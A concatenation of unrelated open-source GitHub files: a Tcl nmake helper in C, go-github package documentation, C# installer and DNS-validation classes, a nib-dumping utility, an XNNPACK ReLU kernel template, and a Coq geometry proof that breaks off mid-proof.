linkshared = 1,
deps = [":local_service_jni"],
)
cc_binary(
name = "liblocal_service_jni.dylib",
linkshared = 1,
deps = [":local_service_jni"],
)
|
{
"pile_set_name": "Github"
}
|
/*
* ----------------------------------------------------------------------------
* nmakehlp.c --
*
* This is used to fix limitations within nmake and the environment.
*
* Copyright (c) 2002 by David Gravereaux.
* Copyright (c) 2006 by Pat Thoyts
*
* See the file "license.terms" for information on usage and redistribution of
* this file, and for a DISCLAIMER OF ALL WARRANTIES.
* ----------------------------------------------------------------------------
*/
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#define NO_SHLWAPI_GDI
#define NO_SHLWAPI_STREAM
#define NO_SHLWAPI_REG
#include <shlwapi.h>
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "kernel32.lib")
#pragma comment (lib, "shlwapi.lib")
#include <stdio.h>
#include <math.h>
/*
* This library is required for x64 builds with _some_ versions of MSVC
*/
#if defined(_M_IA64) || defined(_M_AMD64)
#if _MSC_VER >= 1400 && _MSC_VER < 1500
#pragma comment(lib, "bufferoverflowU")
#endif
#endif
/* ISO hack for dumb VC++ */
#ifdef _MSC_VER
#define snprintf _snprintf
#endif
/* protos */
static int CheckForCompilerFeature(const char *option);
static int CheckForLinkerFeature(const char **options, int count);
static int IsIn(const char *string, const char *substring);
static int SubstituteFile(const char *substs, const char *filename);
static int QualifyPath(const char *path);
static int LocateDependency(const char *keyfile);
static const char *GetVersionFromFile(const char *filename, const char *match, int numdots);
static DWORD WINAPI ReadFromPipe(LPVOID args);
/* globals */
#define CHUNK 25
#define STATICBUFFERSIZE 1000
typedef struct {
HANDLE pipe;
char buffer[STATICBUFFERSIZE];
} pipeinfo;
pipeinfo Out = {INVALID_HANDLE_VALUE, '\0'};
pipeinfo Err = {INVALID_HANDLE_VALUE, '\0'};
/*
* exitcodes: 0 == no, 1 == yes, 2 == error
*/
int
main(
int argc,
char *argv[])
{
char msg[300];
DWORD dwWritten;
int chars;
char *s;
/*
* Make sure children (cl.exe and link.exe) are kept quiet.
*/
SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOOPENFILEERRORBOX);
/*
* Make sure the compiler and linker aren't effected by the outside world.
*/
SetEnvironmentVariable("CL", "");
SetEnvironmentVariable("LINK", "");
if (argc > 1 && *argv[1] == '-') {
switch (*(argv[1]+1)) {
case 'c':
if (argc != 3) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -c <compiler option>\n"
"Tests for whether cl.exe supports an option\n"
"exitcodes: 0 == no, 1 == yes, 2 == error\n", argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
}
return CheckForCompilerFeature(argv[2]);
case 'l':
if (argc < 3) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -l <linker option> ?<mandatory option> ...?\n"
"Tests for whether link.exe supports an option\n"
"exitcodes: 0 == no, 1 == yes, 2 == error\n", argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
}
return CheckForLinkerFeature(&argv[2], argc-2);
case 'f':
if (argc == 2) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -f <string> <substring>\n"
"Find a substring within another\n"
"exitcodes: 0 == no, 1 == yes, 2 == error\n", argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
} else if (argc == 3) {
/*
* If the string is blank, there is no match.
*/
return 0;
} else {
return IsIn(argv[2], argv[3]);
}
case 's':
if (argc == 2) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -s <substitutions file> <file>\n"
"Perform a set of string map type substutitions on a file\n"
"exitcodes: 0\n",
argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
}
return SubstituteFile(argv[2], argv[3]);
case 'V':
if (argc != 4) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -V filename matchstring\n"
"Extract a version from a file:\n"
"eg: pkgIndex.tcl \"package ifneeded http\"",
argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 0;
}
s = GetVersionFromFile(argv[2], argv[3], *(argv[1]+2) - '0');
if (s && *s) {
printf("%s\n", s);
return 0;
} else
return 1; /* Version not found. Return non-0 exit code */
case 'Q':
if (argc != 3) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -Q path\n"
"Emit the fully qualified path\n"
"exitcodes: 0 == no, 1 == yes, 2 == error\n", argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
}
return QualifyPath(argv[2]);
case 'L':
if (argc != 3) {
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -L keypath\n"
"Emit the fully qualified path of directory containing keypath\n"
"exitcodes: 0 == success, 1 == not found, 2 == error\n", argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars,
&dwWritten, NULL);
return 2;
}
return LocateDependency(argv[2]);
}
}
chars = snprintf(msg, sizeof(msg) - 1,
"usage: %s -c|-f|-l|-Q|-s|-V ...\n"
"This is a little helper app to equalize shell differences between WinNT and\n"
"Win9x and get nmake.exe to accomplish its job.\n",
argv[0]);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, chars, &dwWritten, NULL);
return 2;
}
static int
CheckForCompilerFeature(
const char *option)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;
DWORD threadID;
char msg[300];
BOOL ok;
HANDLE hProcess, h, pipeThreads[2];
char cmdline[100];
hProcess = GetCurrentProcess();
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = INVALID_HANDLE_VALUE;
ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = FALSE;
/*
* Create a non-inheritible pipe.
*/
CreatePipe(&Out.pipe, &h, &sa, 0);
/*
* Dupe the write side, make it inheritible, and close the original.
*/
DuplicateHandle(hProcess, h, hProcess, &si.hStdOutput, 0, TRUE,
DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
/*
* Same as above, but for the error side.
*/
CreatePipe(&Err.pipe, &h, &sa, 0);
DuplicateHandle(hProcess, h, hProcess, &si.hStdError, 0, TRUE,
DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
/*
* Base command line.
*/
lstrcpy(cmdline, "cl.exe -nologo -c -TC -Zs -X -Fp.\\_junk.pch ");
/*
* Append our option for testing
*/
lstrcat(cmdline, option);
/*
* Filename to compile, which exists, but is nothing and empty.
*/
lstrcat(cmdline, " .\\nul");
ok = CreateProcess(
NULL, /* Module name. */
cmdline, /* Command line. */
NULL, /* Process handle not inheritable. */
NULL, /* Thread handle not inheritable. */
TRUE, /* yes, inherit handles. */
DETACHED_PROCESS, /* No console for you. */
NULL, /* Use parent's environment block. */
NULL, /* Use parent's starting directory. */
&si, /* Pointer to STARTUPINFO structure. */
&pi); /* Pointer to PROCESS_INFORMATION structure. */
if (!ok) {
DWORD err = GetLastError();
int chars = snprintf(msg, sizeof(msg) - 1,
"Tried to launch: \"%s\", but got error [%u]: ", cmdline, err);
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS|
FORMAT_MESSAGE_MAX_WIDTH_MASK, 0L, err, 0, (LPVOID)&msg[chars],
(300-chars), 0);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, lstrlen(msg), &err,NULL);
return 2;
}
/*
* Close our references to the write handles that have now been inherited.
*/
CloseHandle(si.hStdOutput);
CloseHandle(si.hStdError);
WaitForInputIdle(pi.hProcess, 5000);
CloseHandle(pi.hThread);
/*
* Start the pipe reader threads.
*/
pipeThreads[0] = CreateThread(NULL, 0, ReadFromPipe, &Out, 0, &threadID);
pipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &Err, 0, &threadID);
/*
* Block waiting for the process to end.
*/
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
/*
* Wait for our pipe to get done reading, should it be a little slow.
*/
WaitForMultipleObjects(2, pipeThreads, TRUE, 500);
CloseHandle(pipeThreads[0]);
CloseHandle(pipeThreads[1]);
/*
* Look for the commandline warning code in both streams.
* - in MSVC 6 & 7 we get D4002, in MSVC 8 we get D9002.
*/
return !(strstr(Out.buffer, "D4002") != NULL
|| strstr(Err.buffer, "D4002") != NULL
|| strstr(Out.buffer, "D9002") != NULL
|| strstr(Err.buffer, "D9002") != NULL
|| strstr(Out.buffer, "D2021") != NULL
|| strstr(Err.buffer, "D2021") != NULL);
}
static int
CheckForLinkerFeature(
const char **options,
int count)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;
DWORD threadID;
char msg[300];
BOOL ok;
HANDLE hProcess, h, pipeThreads[2];
int i;
char cmdline[255];
hProcess = GetCurrentProcess();
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = INVALID_HANDLE_VALUE;
ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
/*
* Create a non-inheritible pipe.
*/
CreatePipe(&Out.pipe, &h, &sa, 0);
/*
* Dupe the write side, make it inheritible, and close the original.
*/
DuplicateHandle(hProcess, h, hProcess, &si.hStdOutput, 0, TRUE,
DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
/*
* Same as above, but for the error side.
*/
CreatePipe(&Err.pipe, &h, &sa, 0);
DuplicateHandle(hProcess, h, hProcess, &si.hStdError, 0, TRUE,
DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
/*
* Base command line.
*/
lstrcpy(cmdline, "link.exe -nologo ");
/*
* Append our option for testing.
*/
for (i = 0; i < count; i++) {
lstrcat(cmdline, " \"");
lstrcat(cmdline, options[i]);
lstrcat(cmdline, "\"");
}
ok = CreateProcess(
NULL, /* Module name. */
cmdline, /* Command line. */
NULL, /* Process handle not inheritable. */
NULL, /* Thread handle not inheritable. */
TRUE, /* yes, inherit handles. */
DETACHED_PROCESS, /* No console for you. */
NULL, /* Use parent's environment block. */
NULL, /* Use parent's starting directory. */
&si, /* Pointer to STARTUPINFO structure. */
&pi); /* Pointer to PROCESS_INFORMATION structure. */
if (!ok) {
DWORD err = GetLastError();
int chars = snprintf(msg, sizeof(msg) - 1,
"Tried to launch: \"%s\", but got error [%u]: ", cmdline, err);
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS|
FORMAT_MESSAGE_MAX_WIDTH_MASK, 0L, err, 0, (LPVOID)&msg[chars],
(300-chars), 0);
WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg, lstrlen(msg), &err,NULL);
return 2;
}
/*
* Close our references to the write handles that have now been inherited.
*/
CloseHandle(si.hStdOutput);
CloseHandle(si.hStdError);
WaitForInputIdle(pi.hProcess, 5000);
CloseHandle(pi.hThread);
/*
* Start the pipe reader threads.
*/
pipeThreads[0] = CreateThread(NULL, 0, ReadFromPipe, &Out, 0, &threadID);
pipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &Err, 0, &threadID);
/*
* Block waiting for the process to end.
*/
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
/*
* Wait for our pipe to get done reading, should it be a little slow.
*/
WaitForMultipleObjects(2, pipeThreads, TRUE, 500);
CloseHandle(pipeThreads[0]);
CloseHandle(pipeThreads[1]);
/*
* Look for the commandline warning code in the stderr stream.
*/
return !(strstr(Out.buffer, "LNK1117") != NULL ||
strstr(Err.buffer, "LNK1117") != NULL ||
strstr(Out.buffer, "LNK4044") != NULL ||
strstr(Err.buffer, "LNK4044") != NULL ||
strstr(Out.buffer, "LNK4224") != NULL ||
strstr(Err.buffer, "LNK4224") != NULL);
}
static DWORD WINAPI
ReadFromPipe(
LPVOID args)
{
pipeinfo *pi = (pipeinfo *) args;
char *lastBuf = pi->buffer;
DWORD dwRead;
BOOL ok;
again:
if (lastBuf - pi->buffer + CHUNK > STATICBUFFERSIZE) {
CloseHandle(pi->pipe);
return (DWORD)-1;
}
ok = ReadFile(pi->pipe, lastBuf, CHUNK, &dwRead, 0L);
if (!ok || dwRead == 0) {
CloseHandle(pi->pipe);
return 0;
}
lastBuf += dwRead;
goto again;
return 0; /* makes the compiler happy */
}
static int
IsIn(
const char *string,
const char *substring)
{
return (strstr(string, substring) != NULL);
}
/*
* GetVersionFromFile --
* Looks for a match string in a file and then returns the version
* following the match where a version is anything acceptable to
* package provide or package ifneeded.
*/
static const char *
GetVersionFromFile(
const char *filename,
const char *match,
int numdots)
{
size_t cbBuffer = 100;
static char szBuffer[100];
char *szResult = NULL;
FILE *fp = fopen(filename, "rt");
if (fp != NULL) {
/*
* Read data until we see our match string.
*/
while (fgets(szBuffer, cbBuffer, fp) != NULL) {
LPSTR p, q;
p = strstr(szBuffer, match);
if (p != NULL) {
/*
* Skip to first digit after the match.
*/
p += strlen(match);
while (*p && !isdigit(*p)) {
++p;
}
/*
* Find ending whitespace.
*/
q = p;
while (*q && (strchr("0123456789.ab", *q)) && ((!strchr(".ab", *q)
&& (!strchr("ab", q[-1])) || --numdots))) {
++q;
}
memcpy(szBuffer, p, q - p);
szBuffer[q-p] = 0;
szResult = szBuffer;
break;
}
}
fclose(fp);
}
return szResult;
}
/*
* List helpers for the SubstituteFile function
*/
typedef struct list_item_t {
struct list_item_t *nextPtr;
char * key;
char * value;
} list_item_t;
/* insert a list item into the list (list may be null) */
static list_item_t *
list_insert(list_item_t **listPtrPtr, const char *key, const char *value)
{
list_item_t *itemPtr = malloc(sizeof(list_item_t));
if (itemPtr) {
itemPtr->key = strdup(key);
itemPtr->value = strdup(value);
itemPtr->nextPtr = NULL;
while(*listPtrPtr) {
listPtrPtr = &(*listPtrPtr)->nextPtr;
}
*listPtrPtr = itemPtr;
}
return itemPtr;
}
static void
list_free(list_item_t **listPtrPtr)
{
list_item_t *tmpPtr, *listPtr = *listPtrPtr;
while (listPtr) {
tmpPtr = listPtr;
listPtr = listPtr->nextPtr;
free(tmpPtr->key);
free(tmpPtr->value);
free(tmpPtr);
}
}
/*
* SubstituteFile --
* As windows doesn't provide anything useful like sed and it's unreliable
* to use the tclsh you are building against (consider x-platform builds -
* eg compiling AMD64 target from IX86) we provide a simple substitution
* option here to handle autoconf style substitutions.
* The substitution file is whitespace and line delimited. The file should
* consist of lines matching the regular expression:
* \s*\S+\s+\S*$
*
* Usage is something like:
* nmakehlp -S << $** > $@
* @PACKAGE_NAME@ $(PACKAGE_NAME)
* @PACKAGE_VERSION@ $(PACKAGE_VERSION)
* <<
*/
static int
SubstituteFile(
const char *substitutions,
const char *filename)
{
size_t cbBuffer = 1024;
static char szBuffer[1024], szCopy[1024];
char *szResult = NULL;
list_item_t *substPtr = NULL;
FILE *fp, *sp;
fp = fopen(filename, "rt");
if (fp != NULL) {
/*
* Build a list of substutitions from the first filename
*/
sp = fopen(substitutions, "rt");
if (sp != NULL) {
while (fgets(szBuffer, cbBuffer, sp) != NULL) {
unsigned char *ks, *ke, *vs, *ve;
ks = (unsigned char*)szBuffer;
while (ks && *ks && isspace(*ks)) ++ks;
ke = ks;
while (ke && *ke && !isspace(*ke)) ++ke;
vs = ke;
while (vs && *vs && isspace(*vs)) ++vs;
ve = vs;
while (ve && *ve && !(*ve == '\r' || *ve == '\n')) ++ve;
*ke = 0, *ve = 0;
list_insert(&substPtr, (char*)ks, (char*)vs);
}
fclose(sp);
}
/* debug: dump the list */
#ifdef _DEBUG
{
int n = 0;
list_item_t *p = NULL;
for (p = substPtr; p != NULL; p = p->nextPtr, ++n) {
fprintf(stderr, "% 3d '%s' => '%s'\n", n, p->key, p->value);
}
}
#endif
/*
* Run the substitutions over each line of the input
*/
while (fgets(szBuffer, cbBuffer, fp) != NULL) {
list_item_t *p = NULL;
for (p = substPtr; p != NULL; p = p->nextPtr) {
char *m = strstr(szBuffer, p->key);
if (m) {
char *cp, *op, *sp;
cp = szCopy;
op = szBuffer;
while (op != m) *cp++ = *op++;
sp = p->value;
while (sp && *sp) *cp++ = *sp++;
op += strlen(p->key);
while (*op) *cp++ = *op++;
*cp = 0;
memcpy(szBuffer, szCopy, sizeof(szCopy));
}
}
printf(szBuffer);
}
list_free(&substPtr);
}
fclose(fp);
return 0;
}
/*
* QualifyPath --
*
* This composes the current working directory with a provided path
* and returns the fully qualified and normalized path.
* Mostly needed to setup paths for testing.
*/
static int
QualifyPath(
const char *szPath)
{
char szCwd[MAX_PATH + 1];
char szTmp[MAX_PATH + 1];
char *p;
GetCurrentDirectory(MAX_PATH, szCwd);
while ((p = strchr(szPath, '/')) && *p)
*p = '\\';
PathCombine(szTmp, szCwd, szPath);
PathCanonicalize(szCwd, szTmp);
printf("%s\n", szCwd);
return 0;
}
/*
* Implements LocateDependency for a single directory. See that command
* for an explanation.
* Returns 0 if found after printing the directory.
* Returns 1 if not found but no errors.
* Returns 2 on any kind of error
* Basically, these are used as exit codes for the process.
*/
static int LocateDependencyHelper(const char *dir, const char *keypath)
{
HANDLE hSearch;
char path[MAX_PATH+1];
int dirlen, keylen, ret;
WIN32_FIND_DATA finfo;
if (dir == NULL || keypath == NULL)
return 2; /* Have no real error reporting mechanism into nmake */
dirlen = strlen(dir);
if ((dirlen + 3) > sizeof(path))
return 2;
strncpy(path, dir, dirlen);
strncpy(path+dirlen, "\\*", 3); /* Including terminating \0 */
keylen = strlen(keypath);
#if 0 /* This function is not available in Visual C++ 6 */
/*
* Use numerics 0 -> FindExInfoStandard,
* 1 -> FindExSearchLimitToDirectories,
* as these are not defined in Visual C++ 6
*/
hSearch = FindFirstFileEx(path, 0, &finfo, 1, NULL, 0);
#else
hSearch = FindFirstFile(path, &finfo);
#endif
if (hSearch == INVALID_HANDLE_VALUE)
return 1; /* Not found */
/* Loop through all subdirs checking if the keypath is under there */
ret = 1; /* Assume not found */
do {
int sublen;
/*
* We need to check it is a directory despite the
* FindExSearchLimitToDirectories in the above call. See SDK docs
*/
if ((finfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
continue;
sublen = strlen(finfo.cFileName);
if ((dirlen+1+sublen+1+keylen+1) > sizeof(path))
continue; /* Path does not fit, assume not matched */
strncpy(path+dirlen+1, finfo.cFileName, sublen);
path[dirlen+1+sublen] = '\\';
strncpy(path+dirlen+1+sublen+1, keypath, keylen+1);
if (PathFileExists(path)) {
/* Found a match, print to stdout */
path[dirlen+1+sublen] = '\0';
QualifyPath(path);
ret = 0;
break;
}
} while (FindNextFile(hSearch, &finfo));
FindClose(hSearch);
return ret;
}
/*
* LocateDependency --
*
* Locates a dependency for a package.
* keypath - a relative path within the package directory
* that is used to confirm it is the correct directory.
* The search path for the package directory is currently only
* the parent and grandparent of the current working directory.
* If found, the command prints
* name_DIRPATH=<full path of located directory>
* and returns 0. If not found, does not print anything and returns 1.
*/
static int LocateDependency(const char *keypath)
{
int i, ret;
static char *paths[] = {"..", "..\\..", "..\\..\\.."};
for (i = 0; i < (sizeof(paths)/sizeof(paths[0])); ++i) {
ret = LocateDependencyHelper(paths[i], keypath);
if (ret == 0)
return ret;
}
return ret;
}
/*
* Local variables:
* mode: c
* c-basic-offset: 4
* fill-column: 78
* indent-tabs-mode: t
* tab-width: 8
* End:
*/
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The go-github AUTHORS. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
/*
Package github provides a client for using the GitHub API.
Usage:
import "github.com/google/go-github/github"
Construct a new GitHub client, then use the various services on the client to
access different parts of the GitHub API. For example:
client := github.NewClient(nil)
// list all organizations for user "willnorris"
orgs, _, err := client.Organizations.List("willnorris", nil)
Some API methods have optional parameters that can be passed. For example:
client := github.NewClient(nil)
// list public repositories for org "github"
opt := &github.RepositoryListByOrgOptions{Type: "public"}
repos, _, err := client.Repositories.ListByOrg("github", opt)
The services of a client divide the API into logical chunks and correspond to
the structure of the GitHub API documentation at
http://developer.github.com/v3/.
Authentication
The go-github library does not directly handle authentication. Instead, when
creating a new client, pass an http.Client that can handle authentication for
you. The easiest and recommended way to do this is using the golang.org/x/oauth2
library, but you can always use any other library that provides an http.Client.
If you have an OAuth2 access token (for example, a personal API token), you can
use it with the oauth2 library using:
import "golang.org/x/oauth2"
func main() {
ts := oauth2.StaticTokenSource(
&oauth2.Token{AccessToken: "... your access token ..."},
)
tc := oauth2.NewClient(oauth2.NoContext, ts)
client := github.NewClient(tc)
// list all repositories for the authenticated user
repos, _, err := client.Repositories.List("", nil)
}
Note that when using an authenticated Client, all calls made by the client will
include the specified OAuth token. Therefore, authenticated clients should
almost never be shared between different users.
See the oauth2 docs for complete instructions on using that library.
For API methods that require HTTP Basic Authentication, use the
BasicAuthTransport.
Rate Limiting
GitHub imposes a rate limit on all API clients. Unauthenticated clients are
limited to 60 requests per hour, while authenticated clients can make up to
5,000 requests per hour. To receive the higher rate limit when making calls
that are not issued on behalf of a user, use the
UnauthenticatedRateLimitedTransport.
The Rate method on a client returns the rate limit information based on the most
recent API call. This is updated on every call, but may be out of date if it's
been some time since the last API call and other clients have made subsequent
requests since then. You can always call RateLimits() directly to get the most
up-to-date rate limit data for the client.
To detect an API rate limit error, you can check if its type is *github.RateLimitError:
repos, _, err := client.Repositories.List("", nil)
if _, ok := err.(*github.RateLimitError); ok {
log.Println("hit rate limit")
}
Learn more about GitHub rate limiting at
http://developer.github.com/v3/#rate-limiting.
Conditional Requests
The GitHub API has good support for conditional requests which will help
prevent you from burning through your rate limit, as well as help speed up your
application. go-github does not handle conditional requests directly, but is
instead designed to work with a caching http.Transport. We recommend using
https://github.com/gregjones/httpcache for that.
Learn more about GitHub conditional requests at
https://developer.github.com/v3/#conditional-requests.
Creating and Updating Resources
All structs for GitHub resources use pointer values for all non-repeated fields.
This allows distinguishing between unset fields and those set to a zero-value.
Helper functions have been provided to easily create these pointers for string,
bool, and int values. For example:
// create a new private repository named "foo"
repo := &github.Repository{
Name: github.String("foo"),
Private: github.Bool(true),
}
client.Repositories.Create("", repo)
Users who have worked with protocol buffers should find this pattern familiar.
Pagination
All requests for resource collections (repos, pull requests, issues, etc.)
support pagination. Pagination options are described in the
github.ListOptions struct and passed to the list methods directly or as an
embedded type of a more specific list options struct (for example
github.PullRequestListOptions). Pages information is available via the
github.Response struct.
client := github.NewClient(nil)
opt := &github.RepositoryListByOrgOptions{
ListOptions: github.ListOptions{PerPage: 10},
}
// get all pages of results
var allRepos []*github.Repository
for {
repos, resp, err := client.Repositories.ListByOrg("github", opt)
if err != nil {
return err
}
allRepos = append(allRepos, repos...)
if resp.NextPage == 0 {
break
}
opt.ListOptions.Page = resp.NextPage
}
*/
package github
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.IO;
namespace AccessibilityInsights.VersionSwitcher
{
/// <summary>
/// Class to hold the installation options
/// </summary>
internal class InstallationOptions
{
/// <summary>
/// The Uri to the iweb-hosted nstaller to use
/// </summary>
internal Uri MsiPath { get; }
/// <summary>
/// The path to the local installer
/// </summary>
internal string LocalInstallerFile { get; }
/// <summary>
/// The new Channel (null if channel is not changing)
/// </summary>
internal string NewChannel { get; }
/// <summary>
/// The Timeout for downloads
/// </summary>
internal TimeSpan DownloadTimeout { get; }
/// <summary>
/// Whether or not UIAccess should be enabled post-install
/// </summary>
internal bool EnableUIAccess { get; }
/// <summary>
/// ctor
/// </summary>
/// <param name="msiPath">String identifying the installer location</param>
/// <param name="newChannel">String indicating the value for NewChannel</param>
/// <param name="enableUIAccess">True only if we need to enable UIAccess post-install"</param>
internal InstallationOptions(string msiPath, string newChannel, bool enableUIAccess)
{
MsiPath = new Uri(msiPath);
NewChannel = newChannel;
LocalInstallerFile = Path.ChangeExtension(Path.GetTempFileName(), "msi");
DownloadTimeout = TimeSpan.FromSeconds(60);
EnableUIAccess = enableUIAccess;
}
}
}
|
{
"pile_set_name": "Github"
}
|
using PKISharp.WACS.Clients.DNS;
using PKISharp.WACS.Context;
using PKISharp.WACS.Plugins.Interfaces;
using PKISharp.WACS.Services;
using System.Threading.Tasks;
namespace PKISharp.WACS.Plugins.ValidationPlugins.Dns
{
internal class Manual : DnsValidation<Manual>
{
private readonly IInputService _input;
public override ParallelOperations Parallelism => ParallelOperations.Answer;
public Manual(
LookupClientProvider dnsClient,
ILogService log,
IInputService input,
ISettingsService settings) : base(dnsClient, log, settings)
{
// Usually it's a big no-no to rely on user input in validation plugin
// because this should be able to run unattended. This plugin is for testing
// only and therefor we will allow it. Future versions might be more advanced,
// e.g. shoot an email to an admin and complete the order later.
_input = input;
}
public override async Task<bool> CreateRecord(DnsValidationRecord record)
{
_input.CreateSpace();
_input.Show("Domain", record.Context.Identifier);
_input.Show("Record", record.Authority.Domain);
_input.Show("Type", "TXT");
_input.Show("Content", $"\"{record.Value}\"");
_input.Show("Note", "Some DNS managers add quotes automatically. A single set is needed.");
if (!await _input.Wait("Please press <Enter> after you've created and verified the record"))
{
_log.Warning("User aborted");
return false;
}
// Pre-pre-validate, allowing the manual user to correct mistakes
while (true)
{
if (await PreValidate(record))
{
return true;
}
else
{
var retry = await _input.PromptYesNo(
"The correct record is not yet found by the local resolver. " +
"Check your configuration and/or wait for the name servers to " +
"synchronize and press <Enter> to try again. Answer 'N' to " +
"try ACME validation anyway.", true);
if (!retry)
{
return false;
}
}
}
}
public override Task DeleteRecord(DnsValidationRecord record)
{
_input.CreateSpace();
_input.Show("Domain", record.Context.Identifier);
_input.Show("Record", record.Authority.Domain);
_input.Show("Type", "TXT");
_input.Show("Content", $"\"{record.Value}\"");
_input.Wait("Please press <Enter> after you've deleted the record");
return Task.CompletedTask;
}
}
}
|
{
"pile_set_name": "Github"
}
|
/* dumpNib - Print a nib file. */
/* Copyright (C) 2011 The Regents of the University of California
* See README in this or parent directory for licensing information. */
#include "common.h"
#include "dnaseq.h"
#include "nib.h"
#include "fa.h"
void dumpNib(char *nibFile, char *outFile)
/* dumpNib - Print a nib file. */
{
struct dnaSeq *seq;
seq = nibLoadAll(nibFile);
faWrite(outFile, "test", seq->dna, seq->size);
}
int main(int argc, char *argv[])
/* Process command line. */
{
dumpNib(argv[1], argv[2]);
return 0;
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2020 Google LLC
//
// This source code is licensed under the BSD-style license found in the
// LICENSE file in the root directory of this source tree.
$assert BATCH_TILE % 4 == 0
$assert BATCH_TILE >= 4
$ABC = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#include <assert.h>
#include <xmmintrin.h>
#include <xnnpack/vunary.h>
#include <xnnpack/common.h>
void xnn_f32_relu_ukernel__sse_x${BATCH_TILE}(
size_t n,
const float* x,
float* y,
const union xnn_f32_relu_params params[restrict XNN_MIN_ELEMENTS(1)]) XNN_DISABLE_TSAN
{
assert(n != 0);
assert(n % sizeof(float) == 0);
assert(x != NULL);
assert(y != NULL);
const __m128 vzero = _mm_setzero_ps();
for (; n >= ${BATCH_TILE} * sizeof(float); n -= ${BATCH_TILE} * sizeof(float)) {
__m128 vacc${ABC[0:4]} = _mm_loadu_ps(x);
$for N in range(4, BATCH_TILE, 4):
__m128 vacc${ABC[N:N+4]} = _mm_loadu_ps(x + ${N});
x += ${BATCH_TILE};
$for N in range(0, BATCH_TILE, 4):
vacc${ABC[N:N+4]} = _mm_max_ps(vacc${ABC[N:N+4]}, vzero);
_mm_storeu_ps(y, vacc${ABC[0:4]});
$for N in range(4, BATCH_TILE, 4):
_mm_storeu_ps(y + ${N}, vacc${ABC[N:N+4]});
y += ${BATCH_TILE};
}
$if BATCH_TILE > 4:
for (; n >= 4 * sizeof(float); n -= 4 * sizeof(float)) {
__m128 vacc = _mm_loadu_ps(x);
x += 4;
vacc = _mm_max_ps(vacc, vzero);
_mm_storeu_ps(y, vacc);
y += 4;
}
if XNN_UNLIKELY(n != 0) {
__m128 vacc = _mm_loadu_ps(x);
vacc = _mm_max_ps(vacc, vzero);
if (n & (2 * sizeof(float))) {
_mm_storel_pi((__m64*) y, vacc);
vacc = _mm_movehl_ps(vacc, vacc);
y += 2;
}
if (n & (1 * sizeof(float))) {
_mm_store_ss(y, vacc);
}
}
}
|
{
"pile_set_name": "Github"
}
|
Require Export GeoCoq.Elements.OriginalProofs.proposition_20.
Require Export GeoCoq.Elements.OriginalProofs.lemma_TGsymmetric.
Require Export GeoCoq.Elements.OriginalProofs.lemma_TGflip.
Require Export GeoCoq.Elements.OriginalProofs.proposition_22.
Section Euclid.
Context `{Ax:euclidean_neutral_ruler_compass}.
Lemma proposition_23 :
forall A B C D E,
neq A B -> nCol D C E ->
exists X Y, Out A B Y /\ CongA X A Y D C E.
Proof.
intros.
assert (~ Col E C D).
{
intro.
assert (Col D C E) by (forward_using lemma_collinearorder).
contradict.
}
assert (~ Col C E D).
{
intro.
assert (Col D C E) by (forward_using lemma_collinearorder).
contradict.
}
assert (Triangle D C E) by (conclude_def Triangle ).
